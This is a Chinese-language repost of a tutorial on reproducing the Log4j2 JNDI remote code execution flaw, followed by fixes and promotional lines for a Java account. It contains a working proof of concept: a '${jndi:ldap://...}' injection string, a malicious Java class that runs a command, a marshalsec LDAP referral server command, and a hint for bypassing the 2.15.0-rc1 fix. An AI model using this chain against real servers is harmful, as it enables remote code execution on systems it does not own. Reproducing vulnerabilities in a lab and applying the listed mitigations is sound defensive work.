手把手教你復現(xiàn) Log4j2 漏洞,千萬別中招!
點擊上方“Java技術江湖”,選擇“設為星標”
回復”666“獲取全網最熱的Java核心知識點整理
0x00 簡介
Apache Log4j2 是一個開源的 Java 日志框架,被廣泛地應用在中間件、開發(fā)框架與 Web 應用中。
0x01 漏洞概述
該漏洞是由于Apache Log4j2 某些功能存在遞歸解析功能,未經身份驗證的攻擊者通過發(fā)送特定惡意數(shù)據(jù)包,可在目標服務器上執(zhí)行任意代碼。
0x02 影響范圍
Apache Log4j 2.x <= 2.15.0-rc1
0x03 環(huán)境搭建
1、創(chuàng)建一個新的maven項目,并導入 Log4j 的依賴包
<dependency>????<groupId>org.apache.logging.log4jgroupId>????<artifactId>log4j-coreartifactId>????<version>2.14.1version>dependency>

0x04 漏洞測試
1、使用 POC 測試
import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;class LogTest {public static final Logger logger = LogManager.getLogger();public static void main(String[] args) {logger.error("${jndi:ldap://localhost:8888/Exploit}");}}
2、編譯一個惡意類 Exploit.class
首先,新建 exp.java,然后編譯為 class 文件。
class Exploit {static {System.err.println("Pwned");try {String cmds = "calc";Runtime.getRuntime().exec(cmds);} catch ( Exception e ) {e.printStackTrace();}}}
執(zhí)行:
javac exp.java
3、使用 marshalsec-0.0.3-SNAPSHOT-all.jar 本地開啟一個 LDAP 服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer"http://127.0.0.1:7777/#Exploit" 8888
4、運行 poc.java,即可訪問惡意類并執(zhí)行寫在其中的 "calc" 命令

結合一些其它 StrLookup 適當變形,以及配合官方測試用例中臟數(shù)據(jù) `"?Type=A Type&Name=1100110&Char=!"` 可繞過 RC1、RC2版本 對此異常進行了捕獲。
https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1...log4j-2.15.0-rc2
?0x05 修復方式?
目前,Apache官方已發(fā)布新版本完成漏洞修復,建議用戶盡快進行自查并及時升級至最新版本。
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
建議同時采用如下臨時措施進行漏洞防范:
添加 JVM 啟動參數(shù) -Dlog4j2.formatMsgNoLookups=true;
在應用 classpath 下添加 log4j2.component.properties 配置文件,文件內容為 log4j2.formatMsgNoLookups=true;
使用 JDK 11.0.1、8u191、7u201、6u211 及以上的高版本;
部署使用第三方防火墻產品進行安全防護。
轉自:daxi0ng,
鏈接:blog.csdn.net/qq_40989258/article/details/121862363



Spring Boot + MyBatis + MySQL 實現(xiàn)讀寫分離!
關注公眾號【Java技術江湖】后回復“PDF”即可領取200+頁的《Java工程師面試指南》
強烈推薦,幾乎涵蓋所有Java工程師必知必會的知識點,不管是復習還是面試,都很實用。

